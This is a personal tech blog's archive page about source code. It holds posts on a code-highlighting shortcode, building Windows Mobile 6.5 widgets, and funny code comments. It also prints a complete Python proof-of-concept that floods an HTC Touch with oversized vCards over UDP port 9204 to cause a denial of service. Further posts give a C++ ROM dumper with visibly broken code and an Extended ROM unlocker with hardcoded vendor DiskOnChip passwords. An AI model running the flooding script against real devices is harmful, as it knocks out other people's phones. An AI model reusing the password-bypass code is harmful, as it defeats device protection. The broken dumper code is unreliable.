You are browsing the archive for source code.

How to post source code for highliting

12:20 pm in How To by buzz_lightyear

Here’s little howto about posting source code in your posts, here at buzzdev website.

Posting Source Code

While our site doesn’t allow you to use potentially dangerous code on your blog, there is a way to post source code for viewing. We have created a shortcode you can wrap around source code that preserves its formatting and even provides syntax highlighting for certain languages, like so:

#button {
font-weight: bold;
border: 2px solid #fff;
}

Wrap your code in these tags:
[sourcecode language='css']
your code here
[/sourcecode]

Any of the following can be used for the language parameter (using one is required):

  • bash
  • cpp
  • csharp
  • css
  • delphi
  • html
  • java
  • jscript
  • php
  • python
  • ruby
  • shell
  • sql
  • vb
  • xml

Code in between the [sourcecode] tags will automatically be encoded for display, you don’t need to worry about HTML entities or anything.

Other BBCode Methods

Find [sourcecode language='css']code here[/sourcecode] too long to type? Here’s some alternative examples:

[source language='css']code here[/source]
[code language='css']code here[/code]
[sourcecode lang='css']code here[/sourcecode]
[source lang='css']code here[/source]
[code lang='css']code here[/code]
[sourcecode='css']code here[/sourcecode]
[source='css']code here[/source]
[code='css']code here[/code]
[lang='css']code here[/lang]
[css]code here[/css] (or any of the supported language)

Note: Quotation marks around the language can be omitted for even shorter and neater syntax.

FAQ

I still see the BBCode in my post. What gives?
Make sure you correctly use the BBCode with a valid language attribute. A malformed usage of it won’t result in replacement.

I use the visual editor, my code has lots of line breaks inserted, what do I do?
Use ‘shift + return’ instead of ‘return’ when changing lines.

Getting started with widgets on Windows Mobile 6.5

11:41 am in How To, Software development, Windows Mobile by buzz_lightyear

Now that the Windows Mobile 6.5 resource kit is out (You can download it from here) it is time to start writing widgets!!!

Necessary equipment

  1. The 6.5 emulator images
  2. The web development environment of choice
  3. WMDC or Windows mobile device center (on vista or windows 7) or ActiveSync 4.5

With that you should be ready to go to get started, the first step is to start the emulator and cradle the device. The emulators can be started from the start menu under the “Windows Mobile 6 SDK -> Stand Alone Emulator Images -> ”. The device emulator manager can be started using explorer to navigate to the following folder “C:\Program Files\Microsoft Device Emulator\1.0” and selecting dvcemumanager.exe.

Once they are both started, open WMDC or ActiveSync and select connection options and, on the “Connect one of the following” combo box select “DMA” and click “OK”.

Now, on the “Device Emulator Manager” select “Refresh” and then find the emulator on the list, should be the GUID under others and right click -> cradle to connect it to the PC.

Once that is done, select “Connect without setting up my device” and you should be ready to go, to test, open internet explorer on the 6.5 emulator and navigate to any site, if all is set up correctly it will navigate to it using our brand new browser.

And now…. the fun part begins!

To write a widget we need to follow three easy steps.

Develop your widget code

For this you can use the web development tool of your choice, but as an example we can start with something super simple, as follows (write it into a widget.htm document)

code01

Package your widget

Now we have our extremely functional widget code, now we need to create a manifest file (so the framework knows what to do with it) following the w3C widget standard for packaging and configuration (On 6.5 we support the December 22 2008 draft), but to make things easy, here is a small manifest, copy it into a config.xml file in the same folder as your widget.htm

code02

Don’t forget to also add an icon called icon.png on the same folder.

At this point, you should have three files (config.xml, icon.png and widget.htm), now we need to package them, on explorer, select the files, right click and send to a compressed folder (it is important to select the files and not the folder that contains them because we want config.xml to be in the root of the zip container). Now just rename the newly created zip file to “widget.wgt” and you are done with this step.

Deploy and run

On “Computer” you should see the cradled device emulator as “PocketPC device”

Use it to navigate to “My Documents” on the device and copy the widget file created in step 2 there. Now, on the emulator, open file explorer using the start menu and, listed there you should see your widget file, click on it.

This should start the installation process, once that is done you will see your very first widget on screen!!!

To continue playing with this widget (make it better, etc) you can find the uncompressed files on the “Program Files\Widgets\User\ folder” on the device.

The widget ID is generated at install time and it is an always increasing integer (therefore, the most recently installed widget will have the greatest number). You can replace, add, remove files here for testing at will; the only thing you need for a your widget to pick the changes up is to exit it and start it again, it will have an entry on the start menu.

I will be sharing more information about the widget API, how to extend the widget framework capabilities, debugging tips, best practices, etc in future posts but I wanted to help everyone to get started.

For now, you can also take a quick look at my TechDays session where I describe the API set and some of the capabilities of the framework. To access it you’ll need to log into the Microsoft Tech Days site and search for MBL302 Windows Mobile Web and Widgets: Leveraging web technologies to build experiences for Windows Mobile.

Stay tuned, have fun and don’t forget to share your thoughts… Also, before I forget, you can upload your cool widget creations to the Marketplace :), visit http://developer.windowsmobile.com for more information.

Jorge Peraza

The Best of Source Code Comments

2:03 pm in Software development by buzz_lightyear

Well.. do you write comments in your source code? I’m sure you do, but are they funny enough?

Then join the Best Comments in Source Code at Stack Overflow site or at least read it. Your satisfaction is guaranteed :)

Some examples:

/**
 * Always returns true.
 */
public boolean isAvailable() {
    return false;
}
stop(); // Hammertime!
// sometimes I believe compiler ignores all my comments
// I dedicate all this code, all my work, to my wife, Darlene, who will
// have to support me and our three children and the dog once it gets
// released into the public.
// drunk, fix later
// Magic. Do not touch.
//When I wrote this, only God and I understood what I was doing
//Now, God only knows
//
// Dear maintainer:
//
// Once you are done trying to 'optimize' this routine,
// and have realized what a terrible mistake that was,
// please increment the following counter as a warning
// to the next guy:
//
// total_hours_wasted_here = 16
//

vCard over IP Denial of Service exploit

9:50 am in HTC devices, Latest News, Mobile Security, Windows Mobile by buzz_lightyear

Below is the source code for HTC Touch vCard DoS exploit

#! /usr/bin/env python
#
# Copyright (c) 2009 Mobile Security Lab www.mseclab.com
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#

from socket import *
from sys import exit,argv
from time import *
import random
from optparse import OptionParser

# Global Variables
PORT = 9204
DEF_NUM_PACKETS = 10
DEF_VCARD_LEN = 1410
DEF_DELAY = 0.7
VCARD_HEADER = "BEGIN:VCARD\r\nVERSION:2.1\r\nN:"
VCARD_TRAILER = "\r\nEND:VCARD\r\n"

def main():
    # Local variables
    num_packets = DEF_NUM_PACKETS
    delay = DEF_DELAY

    print "\nMSL-2008-002 PoC for HTC Touch\nMobile Security Lab 2009\n"
    # Parsing options
    parser = OptionParser("usage: %prog [options] target_IP")
    parser.add_option("-s", "--silence", action="store_true", dest="silence", help="send silent vcards (32k)")
    parser.add_option("-c", "--count", type="int", help="specify vcard length", dest="count")
    parser.add_option("-d", "--delay", type="float", help="specify delay between packets", dest="delay")
    parser.add_option("-l", "--len", type="int", help="specify vcard length", dest="len")
    parser.add_option("-t", "--text", type="string", help="specify vcard body text", dest="text")

    # Parse input
    (options, args) = parser.parse_args()
    if len(args) != 1:
        parser.print_help()
        print ""
        exit(1)

    if options.count:
        num_packets = options.count

    if options.delay:
        delay = options.delay

    if options.silence:
        vcard_body = VCARD_HEADER+'A' *32722+VCARD_TRAILER
    elif options.len:
        vcard_body = VCARD_HEADER+'A' *options.len+VCARD_TRAILER
    elif options.text:
        vcard_body = VCARD_HEADER+options.text+VCARD_TRAILER
    else:
        vcard_body = VCARD_HEADER+'A' *DEF_VCARD_LEN+VCARD_TRAILER

    # Socket creation
    udp_sock = socket(AF_INET, SOCK_DGRAM)
    ADDR = (args[0],PORT)

    # Start sending packet
    counter = 1
    c_lap = 0
    total_data = 0
    print "Sending %d packets... to %s" % (num_packets,ADDR)
    start_time = time()
    start_lap = time()

    # Start sending packet
    while counter < = num_packets:
        len_sent = udp_sock.sendto(vcard_body,ADDR)
        if len_sent != len(vcard_body):
            print "Error sending packet n.%d" %counter
            break

        # Update Counter
        counter += 1
        c_lap += 1
        total_data += len_sent

        # Sleep for letting the device parse vcards
        sleep(delay)

        # Check number of packets in a second
        local_lap = time()
        if local_lap - start_lap >= 1:
            print "%0.2f packets/sec" % (c_lap/(local_lap - start_lap))
            start_lap = local_lap
            c_lap = 0

    stop_time = time()
    stop_sec = stop_time - start_time

    # Display info
    print "Sent %d packets in %f seconds" % (num_packets, stop_sec)
    print "Start time: %s" %ctime(start_time)
    print "Stop time: %s" %ctime(stop_time)
    print "Payload Len = %d bytes" % len(vcard_body)
    print "Total Data sent = %d bytes (about %0.2f kB)" % (total_data, (float(total_data)/float(1024)))

#Global start
if __name__ == "__main__":
    main()

# milw0rm.com 2009-03-02

grab_it ROM dumper [source code]

10:03 am in Software development, Windows Mobile by buzz_lightyear

Here’s the source code of grab_it tool.
I wrote it sometimes around may/june 2005 for some specific reason.

Maybe someone find this c++ source code useful.

// grab_it.cpp : Defines the entry point for the application.
// by buzz_lightyear
// sometime around may/june 2005
// http://buzzdev.net

#include "stdafx.h"
#include "windows.h"

// in this case, dump will be saved to MiniSD card
#define targetFile L"\Mini-SD\dump.bin"

int		lineHeight=1;		//progress bar height
int		drawPoint=319;
int		BarPosition=0;
int		screenWidth = GetSystemMetrics(SM_CXSCREEN);
HDC		hdc = ::GetDC(NULL);
HPEN	lineProgress,lineBackground,po;	// Pen Progress bar

wchar_t	Buff[1024];		// buffer for Error messages

DWORD	DumpStart=0x00000000;		//start address
DWORD	DumpSize=0x8000000;			//Size
DWORD	Step=0x80000;

extern "C" BOOL VirtualCopy(
  LPVOID lpvDest,
  LPVOID lpvSrc,
  DWORD cbSize,
  DWORD fdwProtect
);

int ShowProgress(int pos){
	MoveToEx(hdc,0,drawPoint,NULL);

	po = (HPEN)SelectObject(hdc,lineBackground);
	LineTo(hdc,pos,drawPoint);

    SelectObject(hdc,lineProgress);
    LineTo(hdc,screenWidth,drawPoint);

	SelectObject(hdc,lineBackground);
    LineTo(hdc,screenWidth,drawPoint);

return 0;
}

int ShowError(wchar_t text[1024]){
	MessageBox(NULL,text,L"ERROR",MB_OK | MB_TOPMOST | MB_SETFOREGROUND);
	return 0;
}

int WINAPI WinMain(	HINSTANCE hInstance,
					HINSTANCE hPrevInstance,
					LPTSTR    lpCmdLine,
					int       nCmdShow)
{/// 1st

	lineProgress = CreatePen(PS_SOLID,lineHeight,RGB(255,0,0)); // Progress bar
	lineBackground = CreatePen(PS_SOLID,lineHeight,RGB(100,100,100)); // Background bar

	HANDLE H=CreateFile(targetFile,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_FLAG_WRITE_THROUGH,0);
	if(H==INVALID_HANDLE_VALUE)
	{
		MessageBox(NULL,L"Cannot create file!",L"Error",MB_OK);
		return 1;
	}

	//for( i; i<(DumpStart+DumpSize); i+=Step)
	{
		LPVOID Ptr=VirtualAlloc(
			0,
			512*1024,
			MEM_RESERVE,
			PAGE_READONLY
			);
		if(Ptr==0)
		{
			wsprintf(Buff,L"Cannot allocate %08X",i);
			ShowError(Buff);
			return 1;
		}
		/// update progress bar ///
		BarPosition=((i-DumpStart)/(DumpSize/screenWidth));
		ShowProgress(BarPosition);
		///////////////////////////

		if(!VirtualCopy(Ptr,(void*)(i/256),512*1024,PAGE_EXECUTE_READWRITE|PAGE_PHYSICAL))
		{
			wsprintf(Buff,L"Cannot map %08X",i);
			ShowError(Buff);
			return 1;
		}
		DWORD W=0;
		WriteFile(H,Ptr,512*1024,&W,0);
		if(W!=512*1024)
		{
			wsprintf(Buff,L"Error on WriteFile. Card full?",i);
			ShowError(Buff);
			return 1;
		}
		VirtualFree(Ptr,0,MEM_RELEASE);
	}

	CloseHandle(H);

	MessageBeep(MB_OK);

	DeleteObject(lineBackground);
	DeleteObject(lineProgress);
	return 0;
}

Extended ROM unlocker for WindowsMobile 2005

10:53 am in Software development by buzz_lightyear

Here’s the source code of Extended ROM unlocker for:

  • HTC Himalaya
  • HTC Prophet
  • HTC Apache
  • HTC Universal

This c++ source works on WindowsMobile 2005 operating system (see the comment in source).

DiskOnChip (DOC) is protected by simple plaintext password, which is readable in bootloader/SPL dumps.

The code is pretty simple and easy, however, if you don’t understand something, feel free to post a comment and ask.

// **********************************************************
// HTC Prophet/Himalaya/Apache/Universal ExtendedROM unlocker
// for WindowsMobile 2005
// by buzz_lightyear
// http://buzzdev.net
// May 2006
// **********************************************************

#include
#include
#include "diskio.h"
#include
#include "ceioctl.h"

#define BUFFER_SIZE 0x200

// this handle works on WindowsMobile2005
LPCTSTR diskname = L"\Extended_ROM\Vol:";

DWORD nReturned = 0;
HANDLE hDevice = NULL;
flProtectionOutput out;

FLStatus PrintFLStatus(const FLStatus bStat) ;

bool PartitionInsertKey(HANDLE hDsk, bool bInsert)
  {
	  BYTE in[10];

  in[0]= 0;
        //      COMMENT/UNCOMMENT as apropriate for given device
        //      |--------------------- HTC Prophet DOC password
        //      |     |--------------- HTC Himalaya DOC password
        //      |     |     |--------- HTC Apache DOC password
        //      |     |     |     |--- HTC Universal DOC password
	in[1]= 'a';//'a';//'A';// a
	in[2]= '!';//'Y';//'p';// S
	in[3]= '0';//'a';//'a';// r
	in[4]= '3';//'L';//'c';// E
	in[5]= '2';//'a';//'M';// v
	in[6]= '1';//'M';//'V';// I
	in[7]= '9';//'i';//'9';// n
	in[8]= '1';//'H';//'4';// U
	in[9]= bInsert?PROTECTION_INSERT_KEY:PROTECTION_REMOVE_KEY;

	memset(&out, 0, sizeof(out));

    DWORD nReturned=0;
    if (!DeviceIoControl(hDsk, FL_IOCTL_BDTL_HW_PROTECTION, &in, sizeof(in), &out, sizeof(out), &nReturned, NULL)) {
		PrintFLStatus(out.status);
        return false;
    }
	//PrintFLStatus(out.status);
    return true;
}

bool PartitionChangeType(HANDLE hDsk, DWORD dwType)
{
    BYTE in[10];

    in[0]= (BYTE)dwType;
	in[1]= 'a';//'a';//'A';// a
	in[2]= '!';//'Y';//'p';// S
	in[3]= '0';//'a';//'a';// r
	in[4]= '3';//'L';//'c';// E
	in[5]= '2';//'a';//'M';// v
	in[6]= '1';//'M';//'V';// I
	in[7]= '9';//'i';//'9';// n
	in[8]= '1';//'H';//'4';// U
    in[9]= PROTECTION_CHANGE_TYPE;

    memset(&out, 0, sizeof(out));

    DWORD nReturned=0;
    if (!DeviceIoControl(hDsk, FL_IOCTL_BDTL_HW_PROTECTION, &in, sizeof(in), &out, sizeof(out), &nReturned, NULL)) {
        //error("FL_IOCTL_BDTL_HW_PROTECTION");
		PrintFLStatus(out.status);
        return false;
    }
	PrintFLStatus(out.status);
    return true;
}

bool unlockdisk(HANDLE hDsk)
{
    if (PartitionInsertKey(hDsk, true) &&  PartitionChangeType(hDsk, PROTECTABLE))
	{
	return true;
	}
	return false;
}

//TRACE
void TRACE(LPCTSTR szFormat, ...)
{

	TCHAR szBuffer[BUFFER_SIZE];

	va_list pArgs;
	va_start(pArgs, szFormat);
	wvsprintf(szBuffer, szFormat, pArgs);
	va_end(pArgs);

	_tcscat(szBuffer, TEXT("rn"));
	OutputDebugString(szBuffer);
}

FLStatus PrintFLStatus(const FLStatus bStat)
{
	switch(bStat)
	{
	case flOK: TRACE(TEXT("FLStatus: OKn"));
		MessageBox(NULL, L"SUCCESS", L"OK", MB_OK | MB_ICONWARNING | MB_TOPMOST | MB_SETFOREGROUND | MB_APPLMODAL);
		break;
	case flBadFunction:
		TRACE(TEXT("FLStatus: BadFunctionn")) ;
		break ;
	case flFileNotFound:
		TRACE(TEXT("FLStatus: FileNotFoundn")) ;
		break ;
	case flPathNotFound:
		TRACE(TEXT("FLStatus: PathNotFoundn")) ;
		break ;
	case flTooManyOpenFiles:
		TRACE(TEXT("FLStatus: TooManyOpenFilesn")) ;
		break ;
	case flNoWriteAccess:
		TRACE(TEXT("FLStatus: NoWriteAccessn")) ;
		break ;
	case flBadFileHandle:
		TRACE(TEXT("FLStatus: BadFileHandlen")) ;
		break ;
	case flDriveNotAvailable:
		TRACE(TEXT("FLStatus: DriveNotAvailablen")) ;
		break ;
	case flNonFATformat:
		TRACE(TEXT("FLStatus: NonFATformatn")) ;
		break ;
	case flFormatNotSupported:
		TRACE(TEXT("FLStatus: FormatNotSupportedn")) ;
		break ;
	case flNoMoreFiles:
		TRACE(TEXT("FLStatus: NoMoreFilesn")) ;
		break ;
	case flWriteProtect:
		TRACE(TEXT("FLStatus: WriteProtectn")) ;
		break ;
	case flBadDriveHandle:
		TRACE(TEXT("FLStatus: BadDriveHandlen")) ;
		MessageBox(NULL, L"BadDriveHandle", L"Error", MB_OK | MB_ICONWARNING | MB_TOPMOST | MB_SETFOREGROUND | MB_APPLMODAL);
		break ;
	case flDriveNotReady:
		TRACE(TEXT("FLStatus: DriveNotReadyn")) ;
		MessageBox(NULL, L"DriveNotReady", L"Error", MB_OK | MB_ICONWARNING | MB_TOPMOST | MB_SETFOREGROUND | MB_APPLMODAL);
		break ;
	case flUnknownCmd:
		TRACE(TEXT("FLStatus: UnknownCmdn")) ;
		break ;
	case flBadFormat:
		TRACE(TEXT("FLStatus: BadFormatn")) ;
		break ;
	case flBadLength:
		TRACE(TEXT("FLStatus: BadLengthn")) ;
		break ;
	case flDataError:
		TRACE(TEXT("FLStatus: DataErrorn")) ;
		break ;
	case flUnknownMedia:
		TRACE(TEXT("FLStatus: UnknownMedian")) ;
		break ;
	case flSectorNotFound:
		TRACE(TEXT("FLStatus: SectorNotFoundn")) ;
		break ;
	case flOutOfPaper:
		TRACE(TEXT("FLStatus: OutOfPapern")) ;
		break ;
	case flWriteFault:
		TRACE(TEXT("FLStatus: WriteFaultn")) ;
		break ;
	case flReadFault:
		TRACE(TEXT("FLStatus: ReadFaultn")) ;
		break ;
	case flGeneralFailure:
		TRACE(TEXT("FLStatus: GeneralFailuren")) ;
		break ;
	case flDiskChange:
		TRACE(TEXT("FLStatus: DiskChangen")) ;
		break ;
	case flVppFailure:
		TRACE(TEXT("FLStatus: VppFailuren")) ;
		break ;
	case flBadParameter:
		TRACE(TEXT("FLStatus: BadParametern")) ;
		break ;
	case flNoSpaceInVolume:
		TRACE(TEXT("FLStatus: NoSpaceInVolumen")) ;
		break ;
	case flInvalidFATchain:
		TRACE(TEXT("FLStatus: InvalidFATchainn")) ;
		break ;
	case flRootDirectoryFull:
		TRACE(TEXT("FLStatus: RootDirectoryFulln")) ;
		break ;
	case flNotMounted:
		TRACE(TEXT("FLStatus: NotMountedn")) ;
		break ;
	case flPathIsRootDirectory:
		TRACE(TEXT("FLStatus: PathIsRootDirectoryn")) ;
		break ;
	case flNotADirectory:
		TRACE(TEXT("FLStatus: NotADirectoryn")) ;
		break ;
	case flDirectoryNotEmpty:
		TRACE(TEXT("FLStatus: DirectoryNotEmptyn")) ;
		break ;
	case flFileIsADirectory:
		TRACE(TEXT("FLStatus: FileIsADirectoryn")) ;
		break ;
	case flAdapterNotFound:
		TRACE(TEXT("FLStatus: AdapterNotFoundn")) ;
		break ;
	case flFormattingError:
		TRACE(TEXT("FLStatus: FormattingErrorn")) ;
		break ;
	case flNotEnoughMemory:
		TRACE(TEXT("FLStatus: NotEnoughMemoryn")) ;
		break ;
	case flVolumeTooSmall:
		TRACE(TEXT("FLStatus: VolumeTooSmalln")) ;
		break ;
	case flBufferingError:
		TRACE(TEXT("FLStatus: BufferingErrorn")) ;
		break ;
	case flFileAlreadyExists:
		TRACE(TEXT("FLStatus: FileAlreadyExistsn")) ;
		break ;
	case flIncomplete:
		TRACE(TEXT("FLStatus: Incompleten")) ;
		break ;
	case flTimedOut:
		TRACE(TEXT("FLStatus: TimedOutn")) ;
		break ;
	case flTooManyComponents:
		TRACE(TEXT("FLStatus: TooManyComponentsn")) ;
		break ;
	case flTooManyDrives:
		TRACE(TEXT("FLStatus: TooManyDrivesn")) ;
		break ;
	case flTooManyBinaryPartitions:
		TRACE(TEXT("FLStatus: TooManyBinaryPartitionsn")) ;
		break ;
	case flPartitionNotFound:
		TRACE(TEXT("FLStatus: PartitionNotFoundn")) ;
		break ;
	case flFeatureNotSupported:
		TRACE(TEXT("FLStatus: FeatureNotSupportedn")) ;
		break ;
	case flWrongVersion:
		TRACE(TEXT("FLStatus: WrongVersionn")) ;
		break ;
	case flTooManyBadBlocks:
		TRACE(TEXT("FLStatus: TooManyBadBlocksn")) ;
		break ;
	case flNotProtected:
		TRACE(TEXT("FLStatus: NotProtectedn")) ;
		MessageBox(NULL, L"ExtROM is not protectednwith password.", L"Error", MB_OK | MB_ICONWARNING | MB_TOPMOST | MB_SETFOREGROUND | MB_APPLMODAL);
		break ;
	case flBadBBT:
		TRACE(TEXT("FLStatus: BadBBTn")) ;
		break ;
	case flWrongKey:
		TRACE(TEXT("FLStatus: WrongKeyn"));
		MessageBox(NULL, L"WrongKey", L"Error", MB_OK | MB_ICONWARNING | MB_TOPMOST | MB_SETFOREGROUND | MB_APPLMODAL);
		break ;
	case flHWProtection:
		TRACE(TEXT("FLStatus: HWProtectionn")) ;
		MessageBox(NULL, L"HWProtection", L"Error", MB_OK | MB_ICONWARNING | MB_TOPMOST | MB_SETFOREGROUND | MB_APPLMODAL);
		break ;
	case flBadDownload:
		TRACE(TEXT("FLStatus: BadDownloadn")) ;
		break ;
	default:
		TRACE(TEXT("FLStatus: Unknown statusn")) ;
		MessageBox(NULL, L"Unknown status", L"Error", MB_OK | MB_ICONWARNING | MB_TOPMOST | MB_SETFOREGROUND | MB_APPLMODAL);
		break ;
}

return (bStat) ;
}

///////////////////////////////////
///////////////////////////////////
///////////////////////////////////
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hInstPrev, LPWSTR pszCmdLine, int nCmdShow)
{
	hDevice = CreateFile(diskname, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDevice == NULL || hDevice == INVALID_HANDLE_VALUE)
	{
		TRACE(TEXT("Create handle failed."));
		return 1;
	}
	TRACE(TEXT("Create handle succeededn"));

	if (unlockdisk(hDevice))
	{
		TRACE(L"Unlockedn");
	}

	//	default:
	if(hDevice)
	{
		CloseHandle(hDevice);
		hDevice = NULL;
	}

	return 0;
}
///////////////////////////////////////////////
///////////////////////////////////////////////
///////////////////////////////////////////////